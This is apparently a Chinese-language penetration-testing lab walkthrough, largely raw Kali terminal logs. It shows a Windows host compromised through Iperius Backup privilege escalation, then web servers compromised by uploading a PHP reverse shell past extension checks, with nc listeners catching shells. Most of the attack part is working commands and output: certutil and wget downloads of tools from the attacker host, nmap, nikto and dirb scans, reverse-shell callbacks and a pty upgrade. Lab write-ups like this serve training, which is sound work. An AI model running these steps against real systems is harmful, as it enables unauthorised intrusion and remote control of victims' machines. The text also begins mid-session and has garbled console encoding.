certutil.exe -urlcache -f http://192.168.200.7/wget.exe wget.exe
**** ▒u▒W ****
CertUtil: -URLCache ▒R▒O▒▒▒\▒▒▒▒▒C
C:\Users\tinvnc>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\Users\tinvnc ▒▒▒ؿ▒
2023/03/18 ▒U▒▒ 12:26 <DIR> .
2023/03/18 ▒U▒▒ 12:26 <DIR> ..
2022/05/28 ▒U▒▒ 01:01 <DIR> Contacts
2022/05/28 ▒U▒▒ 01:03 <DIR> Desktop
2022/05/28 ▒U▒▒ 01:01 <DIR> Documents
2022/05/28 ▒U▒▒ 01:02 <DIR> Downloads
2022/05/28 ▒U▒▒ 01:01 <DIR> Favorites
2022/05/28 ▒U▒▒ 01:01 <DIR> Links
2022/05/28 ▒U▒▒ 01:01 <DIR> Music
2023/03/18 ▒U▒▒ 12:14 59,392 nc.exe
2022/05/28 ▒U▒▒ 01:01 <DIR> Pictures
2022/05/28 ▒U▒▒ 01:01 <DIR> Saved Games
2022/05/28 ▒U▒▒ 01:01 <DIR> Searches
2022/05/28 ▒U▒▒ 01:01 <DIR> Videos
2023/03/18 ▒U▒▒ 12:26 308,736 wget.exe
2 ▒▒▒ɮ▒ 368,128 ▒줸▒▒
13 ▒ӥؿ▒ 124,339,032,064 ▒줸▒եi▒▒
下載windows專用枚舉工具:
下載windows專用枚舉工具:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
--2023-03-18 00:31:19-- https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
Resolving github.com (github.com)... 20.27.177.113
Connecting to github.com (github.com)|20.27.177.113|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://github.com/carlospolop/PEASS-ng/releases/download/20230312/winPEASany_ofs.exe [following]
--2023-03-18 00:31:20-- https://github.com/carlospolop/PEASS-ng/releases/download/20230312/winPEASany_ofs.exe
Reusing existing connection to github.com:443.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/d4b61227-dae6-43d4-bd06-2d71672d9f8c?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230318%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230318T043118Z&X-Amz-Expires=300&X-Amz-Signature=7cb6cdd41dda0ba80c1b3b9206ad1c0156a2762ee9597426e8a5f2f07fdc4c01&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3DwinPEASany_ofs.exe&response-content-type=application%2Foctet-stream [following]
--2023-03-18 00:31:20-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/d4b61227-dae6-43d4-bd06-2d71672d9f8c?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230318%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230318T043118Z&X-Amz-Expires=300&X-Amz-Signature=7cb6cdd41dda0ba80c1b3b9206ad1c0156a2762ee9597426e8a5f2f07fdc4c01&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3DwinPEASany_ofs.exe&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.108.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1834496 (1.7M) [application/octet-stream]
Saving to: ‘winPEASany_ofs.exe’
winPEASany_ofs.exe 100%[===============================>] 1.75M 4.51MB/s in 0.4s
2023-03-18 00:31:21 (4.51 MB/s) - ‘winPEASany_ofs.exe’ saved [1834496/1834496]
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# mv winPEASany_ofs.exe winpeas.exe
讓靶機下載下來:
C:\Users\tinvnc>wget http://192.168.200.7/winpeas.exe
wget http://192.168.200.7/winpeas.exe
--12:34:56-- http://192.168.200.7/winpeas.exe
=> `winpeas.exe'
Connecting to 192.168.200.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1,834,496 [application/x-msdos-program]
0K .......... .......... .......... .......... .......... 2% 1.04 MB/s
50K .......... .......... .......... .......... .......... 5% 3.05 MB/s
100K .......... .......... .......... .......... .......... 8% 3.26 MB/s
150K .......... .......... .......... .......... .......... 11% 3.05 MB/s
200K .......... .......... .......... .......... .......... 13% 3.26 MB/s
250K .......... .......... .......... .......... .......... 16% 3.05 MB/s
300K .......... .......... .......... .......... .......... 19% 3.05 MB/s
350K .......... .......... .......... .......... .......... 22% 48.83 MB/s
400K .......... .......... .......... .......... .......... 25% 3.05 MB/s
450K .......... .......... .......... .......... .......... 27% 3.26 MB/s
500K .......... .......... .......... .......... .......... 30% 3.05 MB/s
550K .......... .......... .......... .......... .......... 33% 3.26 MB/s
600K .......... .......... .......... .......... .......... 36% 48.83 MB/s
650K .......... .......... .......... .......... .......... 39% 3.05 MB/s
700K .......... .......... .......... .......... .......... 41% 3.05 MB/s
750K .......... .......... .......... .......... .......... 44% 3.26 MB/s
800K .......... .......... .......... .......... .......... 47% 48.83 MB/s
850K .......... .......... .......... .......... .......... 50% 3.05 MB/s
900K .......... .......... .......... .......... .......... 53% 3.05 MB/s
950K .......... .......... .......... .......... .......... 55% 3.05 MB/s
1000K .......... .......... .......... .......... .......... 58% 48.83 MB/s
1050K .......... .......... .......... .......... .......... 61% 2.87 MB/s
1100K .......... .......... .......... .......... .......... 64% 3.05 MB/s
1150K .......... .......... .......... .......... .......... 66% 48.83 MB/s
1200K .......... .......... .......... .......... .......... 69% 3.05 MB/s
1250K .......... .......... .......... .......... .......... 72% 3.05 MB/s
1300K .......... .......... .......... .......... .......... 75% 48.83 MB/s
1350K .......... .......... .......... .......... .......... 78% 3.05 MB/s
1400K .......... .......... .......... .......... .......... 80% 3.26 MB/s
1450K .......... .......... .......... .......... .......... 83% 3.05 MB/s
1500K .......... .......... .......... .......... .......... 86% 48.83 MB/s
1550K .......... .......... .......... .......... .......... 89% 3.26 MB/s
1600K .......... .......... .......... .......... .......... 92% 3.05 MB/s
1650K .......... .......... .......... .......... .......... 94% 3.05 MB/s
1700K .......... .......... .......... .......... .......... 97% 48.83 MB/s
1750K .......... .......... .......... .......... . 100% 2.53 MB/s
12:34:56 (3.70 MB/s) - `winpeas.exe' saved [1834496/1834496]
C:\Users\tinvnc>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\Users\tinvnc ▒▒▒ؿ▒
2023/03/18 ▒U▒▒ 12:34 <DIR> .
2023/03/18 ▒U▒▒ 12:34 <DIR> ..
2022/05/28 ▒U▒▒ 01:01 <DIR> Contacts
2022/05/28 ▒U▒▒ 01:03 <DIR> Desktop
2022/05/28 ▒U▒▒ 01:01 <DIR> Documents
2022/05/28 ▒U▒▒ 01:02 <DIR> Downloads
2022/05/28 ▒U▒▒ 01:01 <DIR> Favorites
2022/05/28 ▒U▒▒ 01:01 <DIR> Links
2022/05/28 ▒U▒▒ 01:01 <DIR> Music
2023/03/18 ▒U▒▒ 12:14 59,392 nc.exe
2022/05/28 ▒U▒▒ 01:01 <DIR> Pictures
2022/05/28 ▒U▒▒ 01:01 <DIR> Saved Games
2022/05/28 ▒U▒▒ 01:01 <DIR> Searches
2022/05/28 ▒U▒▒ 01:01 <DIR> Videos
2023/03/18 ▒U▒▒ 12:26 308,736 wget.exe
2023/03/12 ▒U▒▒ 12:31 1,834,496 winpeas.exe
3 ▒▒▒ɮ▒ 2,202,624 ▒줸▒▒
13 ▒ӥؿ▒ 124,335,992,832 ▒줸▒եi▒▒
執行:(winpeas的執行結果一樣太長所以不貼)
看看目前的執行程式:
C:\Users\tinvnc>tasklist
tasklist
▒M▒▒▒W▒▒ PID ▒u▒@▒▒▒q▒W▒▒ ▒u▒@▒▒▒q # RAM▒ϥζq
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 4 K
System 4 Services 0 140 K
smss.exe 316 Services 0 1,188 K
csrss.exe 416 Services 0 4,220 K
csrss.exe 500 Console 1 7,012 K
wininit.exe 524 Services 0 5,148 K
winlogon.exe 556 Console 1 9,044 K
services.exe 636 Services 0 8,080 K
lsass.exe 652 Services 0 13,536 K
svchost.exe 744 Services 0 19,472 K
svchost.exe 816 Services 0 10,460 K
dwm.exe 904 Console 1 56,152 K
svchost.exe 936 Services 0 50,936 K
svchost.exe 944 Services 0 11,736 K
svchost.exe 1008 Services 0 23,652 K
svchost.exe 452 Services 0 19,448 K
svchost.exe 764 Services 0 9,680 K
svchost.exe 1220 Services 0 19,904 K
svchost.exe 1280 Services 0 16,356 K
svchost.exe 1356 Services 0 20,020 K
svchost.exe 1364 Services 0 7,336 K
VSSVC.exe 1408 Services 0 7,892 K
svchost.exe 1816 Services 0 6,560 K
spoolsv.exe 1904 Services 0 15,604 K
svchost.exe 1600 Services 0 17,456 K
svchost.exe 1884 Services 0 20,320 K
MsMpEng.exe 1964 Services 0 86,220 K
svchost.exe 1992 Services 0 7,996 K
RuntimeBroker.exe 3248 Console 1 20,356 K
sihost.exe 3284 Console 1 19,508 K
svchost.exe 3316 Console 1 19,496 K
taskhostw.exe 3344 Console 1 15,244 K
explorer.exe 3652 Console 1 84,224 K
ShellExperienceHost.exe 3876 Console 1 57,128 K
SearchUI.exe 3960 Console 1 53,104 K
ThinVnc.exe 3192 Console 1 29,664 K
msdtc.exe 3852 Services 0 9,396 K
Taskmgr.exe 436 Console 1 37,820 K
cmd.exe 4124 Console 1 3,300 K
conhost.exe 4752 Console 1 22,888 K
svchost.exe 4628 Services 0 7,196 K
nc.exe 2528 Console 1 4,548 K
cmd.exe 2876 Console 1 3,964 K
tasklist.exe 2000 Console 1 7,920 K
WmiPrvSE.exe 4136 Services 0 8,504 K
要注意msdtc.exe
。另外的方式:
C:\Users\tinvnc>cd /
cd /
C:\>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\ ▒▒▒ؿ▒
2016/07/16 ▒U▒▒ 09:23 <DIR> PerfLogs
2016/11/23 ▒W▒▒ 07:19 <DIR> Program Files
2022/05/28 ▒U▒▒ 01:43 <DIR> Program Files (x86)
2022/05/28 ▒U▒▒ 01:01 <DIR> Users
2022/05/28 ▒U▒▒ 12:56 <DIR> Windows
0 ▒▒▒ɮ▒ 0 ▒줸▒▒
5 ▒ӥؿ▒ 124,335,771,648 ▒줸▒եi▒▒
C:\>cd "program files"
cd "program files"
C:\Program Files>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\Program Files ▒▒▒ؿ▒
2016/11/23 ▒W▒▒ 07:19 <DIR> .
2016/11/23 ▒W▒▒ 07:19 <DIR> ..
2016/07/16 ▒U▒▒ 09:23 <DIR> Common Files
2016/11/23 ▒W▒▒ 07:09 <DIR> Internet Explorer
2016/11/23 ▒W▒▒ 06:40 <DIR> Windows Defender
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Mail
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Media Player
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows Multimedia Platform
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows NT
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Photo Viewer
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows Portable Devices
2016/07/16 ▒U▒▒ 09:23 <DIR> WindowsPowerShell
0 ▒▒▒ɮ▒ 0 ▒줸▒▒
12 ▒ӥؿ▒ 124,335,771,648 ▒줸▒եi▒▒
C:\Program Files>cd ..
cd ..
C:\>cd "program files(x86)"
cd "program files(x86)"
▒t▒Χ䤣▒▒▒w▒▒▒▒|▒C
C:\>cd "program files (x86)"
cd "program files (x86)"
C:\Program Files (x86)>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\Program Files (x86) ▒▒▒ؿ▒
2022/05/28 ▒U▒▒ 01:43 <DIR> .
2022/05/28 ▒U▒▒ 01:43 <DIR> ..
2016/07/16 ▒U▒▒ 09:23 <DIR> Common Files
2016/11/23 ▒W▒▒ 07:09 <DIR> Internet Explorer
2022/05/28 ▒U▒▒ 01:43 <DIR> Iperius Backup
2016/07/16 ▒U▒▒ 09:23 <DIR> Microsoft.NET
2016/11/23 ▒W▒▒ 06:40 <DIR> Windows Defender
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Mail
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Media Player
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows Multimedia Platform
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows NT
2016/11/23 ▒W▒▒ 07:09 <DIR> Windows Photo Viewer
2016/07/16 ▒U▒▒ 09:23 <DIR> Windows Portable Devices
2016/07/16 ▒U▒▒ 09:23 <DIR> WindowsPowerShell
0 ▒▒▒ɮ▒ 0 ▒줸▒▒
14 ▒ӥؿ▒ 124,335,771,648 ▒줸▒եi▒▒
C:\Program Files (x86)>cd "Iperius Backup"
cd "Iperius Backup"
C:\Program Files (x86)\Iperius Backup>dir
dir
▒Ϻа▒ C ▒▒▒▒▒ϺШS▒▒▒▒▒ҡC
▒ϺаϧǸ▒: D0ED-0194
C:\Program Files (x86)\Iperius Backup ▒▒▒ؿ▒
2022/05/28 ▒U▒▒ 01:43 <DIR> .
2022/05/28 ▒U▒▒ 01:43 <DIR> ..
2019/04/16 ▒U▒▒ 05:55 1,338,504 complib.dll
2019/05/11 ▒U▒▒ 06:05 69,393,648 Iperius.exe
2019/05/11 ▒U▒▒ 06:05 9,575,696 IperiusService.exe
2019/04/16 ▒U▒▒ 05:55 48,060 License_Eng.rtf
2022/05/28 ▒U▒▒ 01:43 5,633 unins000.dat
2022/05/28 ▒U▒▒ 01:43 1,244,952 unins000.exe
2022/05/28 ▒U▒▒ 01:43 22,831 unins000.msg
2017/02/06 ▒U▒▒ 06:48 386,744 UninstallerEx.exe
8 ▒▒▒ɮ▒ 82,016,068 ▒줸▒▒
2 ▒ӥؿ▒ 124,335,669,248 ▒줸▒եi▒▒
C:\Program Files (x86)\Iperius Backup>Iperius.exe
Iperius.exe
總之Iperius很可疑,先執行它:
打開:
照以下順序操作:
隨便選:
這裡也是隨便選:
也是隨便選:
這裡是重點:
外部文件的內容如下:
注意上面應該改成tinvnc,儲存如下:
反藍後右鍵,按下圖紅線處:
最瞎的地方是,即使不是管理員,還是可以用管理員權限執行任意檔案:
反彈,而且是管理員權限:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nc -lvnp 8074
listening on [any] 8074 ...
connect to [192.168.200.7] from (UNKNOWN) [172.16.1.112] 49679
Microsoft Windows [▒▒▒▒ 10.0.14393]
(c) 2016 Microsoft Corporation. ▒ۧ@▒v▒Ҧ▒▒A▒ëO▒d▒@▒▒▒v▒Q▒C
C:\Users\tinvnc>
]]>
起手式nmap:
┌──(kali㉿kali)-[~]
└─$ sudo -i
[sudo] password for kali:
┌──(root㉿kali)-[~]
└─# nmap -p- 172.16.1.134
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 20:34 EDT
Nmap scan report for market.itop.com.tw (172.16.1.134)
Host is up (0.064s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 29.74 seconds
┌──(root㉿kali)-[~]
└─# nmap -p- 172.16.1.153
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 20:36 EDT
Nmap scan report for hr.itop.com.tw (172.16.1.153)
Host is up (0.054s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 30.64 seconds
┌──(root㉿kali)-[~]
└─# nmap -p80 -sC -sV -O -A 172.16.1.134 172.16.1.153
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 20:37 EDT
Nmap scan report for market.itop.com.tw (172.16.1.134)
Host is up (0.025s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Maket web Site
|_http-server-header: Apache/2.4.7 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2.0 (94%), Linux 3.11 - 4.1 (94%), Linux 4.4 (94%), Linux 3.10 - 3.16 (93%), Linux 3.16 (93%), Linux 3.13 (91%), Linux 3.18 (90%), Linux 4.0 (90%), Linux 3.10 - 3.12 (89%), Linux 3.10 - 4.11 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 61.38 ms 192.168.200.1
2 11.42 ms market.itop.com.tw (172.16.1.134)
Nmap scan report for hr.itop.com.tw (172.16.1.153)
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Ice Hrm Login
|_Requested resource was http://hr.itop.com.tw/app/login.php
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2.0 (94%), Linux 3.11 - 4.1 (94%), Linux 4.4 (94%), Linux 3.10 - 3.16 (93%), Linux 3.16 (92%), Linux 3.13 (90%), Linux 3.10 - 4.11 (89%), Linux 3.12 (89%), Linux 3.13 or 4.2 (89%), Linux 3.16 - 4.6 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.134
2 61.44 ms hr.itop.com.tw (172.16.1.153)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 12.77 seconds
發現有網址,所以需要改一下ip的對照表:
┌──(root㉿kali)-[~]
└─# vim /etc/hosts
要新增如下圖紅線:
這樣才能連的到:
用admin/admin登入:
這個cms是可以提供上傳頭像,所以先找找reverse shell的php:
┌──(root㉿kali)-[~]
└─# cd /home/kali/PT_day3
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# ls -al
total 52
drwxr-xr-x 2 root root 4096 Mar 12 03:25 .
drwxr-xr-x 22 kali kali 4096 Mar 17 20:31 ..
-rw-r--r-- 1 root root 5036 Mar 11 23:59 42558-1.py
-rwxr-xr-x 1 root root 4925 Mar 11 23:54 42558.py
-rwxr-xr-x 1 root root 3680 Mar 11 23:08 44156.py
-rwxr-xr-x 1 root root 1836 Mar 12 01:37 50477.py
-rwxr-xr-x 1 root root 5495 Feb 27 06:38 bbb_reverse.php
-rwxr-xr-x 1 root root 996 Mar 11 21:03 freeswitch.py
-rwxr-xr-x 1 root root 5495 Mar 12 03:21 php-reverse-shell.jpg
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# cp /usr/share/webshells/php/php-reverse-shell.php .
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# ls -al
total 60
drwxr-xr-x 2 root root 4096 Mar 17 20:58 .
drwxr-xr-x 22 kali kali 4096 Mar 17 20:31 ..
-rw-r--r-- 1 root root 5036 Mar 11 23:59 42558-1.py
-rwxr-xr-x 1 root root 4925 Mar 11 23:54 42558.py
-rwxr-xr-x 1 root root 3680 Mar 11 23:08 44156.py
-rwxr-xr-x 1 root root 1836 Mar 12 01:37 50477.py
-rwxr-xr-x 1 root root 5495 Feb 27 06:38 bbb_reverse.php
-rwxr-xr-x 1 root root 996 Mar 11 21:03 freeswitch.py
-rwxr-xr-x 1 root root 5495 Mar 12 03:21 php-reverse-shell.jpg
-rwxr-xr-x 1 root root 5496 Mar 17 20:58 php-reverse-shell.php
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# mv php-reverse-shell.php ccc_reverse.php
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# vim ccc_reverse.php
aaa注意一下現在我們的IP:
改一下:
到下圖上傳:
注意先改一下附檔名:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# mv ccc_reverse.php ccc_reverse.jpg
並開啟攔截:
上傳:
等上傳時,把攔截到的檔案的副檔名改掉:
依下圖順序操作:
再切到以下畫面,上傳後的位址在下圖紅線處:
記得,觸發前要先監聽:
┌──(root㉿kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
網址列打上後按Enter觸發:
成功反彈:
┌──(root㉿kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.200.7] from (UNKNOWN) [172.16.1.153] 44256
Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
09:29:27 up 6:33, 2 users, load average: 0.13, 0.14, 0.09
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
jason :0 :0 17Apr21 ?xdm? 34:31 0.11s init --user
jason pts/12 :0 17Apr21 249days 0.10s 1.38s gnome-terminal
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
穩定shell:
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/$ gcc -v
gcc -v
The program 'gcc' is currently not installed. To run 'gcc' please ask your administrator to install the package 'gcc'
這一台沒用,沒有gcc,再去打打看134。
既然是網頁,那就看看它藏了什麼目錄:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nikto -host http://172.16.1.134
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.16.1.134
+ Target Hostname: 172.16.1.134
+ Target Port: 80
+ Start Time: 2023-03-17 21:44:41 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2cf6, size: 597701736c404, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7923 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2023-03-17 21:47:29 (GMT-4) (168 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# dirb http://172.16.1.134
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Mar 17 21:48:55 2023
URL_BASE: http://172.16.1.134/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.1.134/ ----
+ http://172.16.1.134/index.html (CODE:200|SIZE:11510)
+ http://172.16.1.134/server-status (CODE:403|SIZE:292)
-----------------
END_TIME: Fri Mar 17 21:49:51 2023
DOWNLOADED: 4612 - FOUND: 2
同樣的也要改一下表,這樣才連的上去:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# vim /etc/hosts
要改的如下紅圈處:
連上以後也沒什麼東西:
所以一樣暴力破解:
┌──(root㉿kali)-[~]
└─# dirb http://market.itop.com.tw
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Feb 27 00:41:28 2023
URL_BASE: http://market.itop.com.tw/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://market.itop.com.tw/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/
+ http://market.itop.com.tw/index.html (CODE:200|SIZE:141)
+ http://market.itop.com.tw/server-status (CODE:403|SIZE:298)
---- Entering directory: http://market.itop.com.tw/admin/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/
+ http://market.itop.com.tw/admin/index.html (CODE:200|SIZE:141)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/
+ http://market.itop.com.tw/admin/fckeditor/index.html (CODE:200|SIZE:141)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/_source/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/css/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/dialog/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/filemanager/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/images/
+ http://market.itop.com.tw/admin/fckeditor/editor/index.html (CODE:200|SIZE:141)
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/js/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/lang/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/plugins/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/skins/
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/_source/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/dialog/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/filemanager/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/lang/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/plugins/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/skins/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Mon Feb 27 00:48:38 2023
DOWNLOADED: 18448 - FOUND: 5
查到有一個上傳用的頁面,依照下圖數字順序操作:
開啟burp suite來攔截:
aaa先把剛剛用過的jpg改回php:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# mv ccc_reverse.jpg ccc_reverse.php
上傳:
aaa這一次不用特別改什麼,就上傳就好:
觸發前當然要先監聽:
┌──(root㉿kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
正式觸發:
成功反彈:
┌──(root㉿kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.200.7] from (UNKNOWN) [172.16.1.134] 59482
Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
10:13:15 up 1 day, 2:10, 2 users, load average: 0.12, 0.09, 0.04
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
jason :0 :0 16Apr21 ?xdm? 1:03m 0.10s init --user
jason pts/0 :0 15Dec21 457days 0.04s 0.04s bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
但一樣沒有gcc:
$ gcc
/bin/sh: 1: gcc: not found
所以這一次開始大規模的掃:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -F 172.16.1-20.*
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 22:20 EDT
Nmap scan report for 172.16.1.51
Host is up (0.026s latency).
Not shown: 89 filtered tcp ports (no-response), 8 filtered tcp ports (host-prohibited)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Nmap scan report for 172.16.1.67
Host is up (0.037s latency).
All 100 scanned ports on 172.16.1.67 are in ignored states.
Not shown: 100 closed tcp ports (reset)
Nmap scan report for 172.16.1.87
Host is up (0.042s latency).
Not shown: 90 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Nmap scan report for 172.16.1.105
Host is up (0.037s latency).
Not shown: 88 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
5060/tcp open sip
8081/tcp open blackice-icecap
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
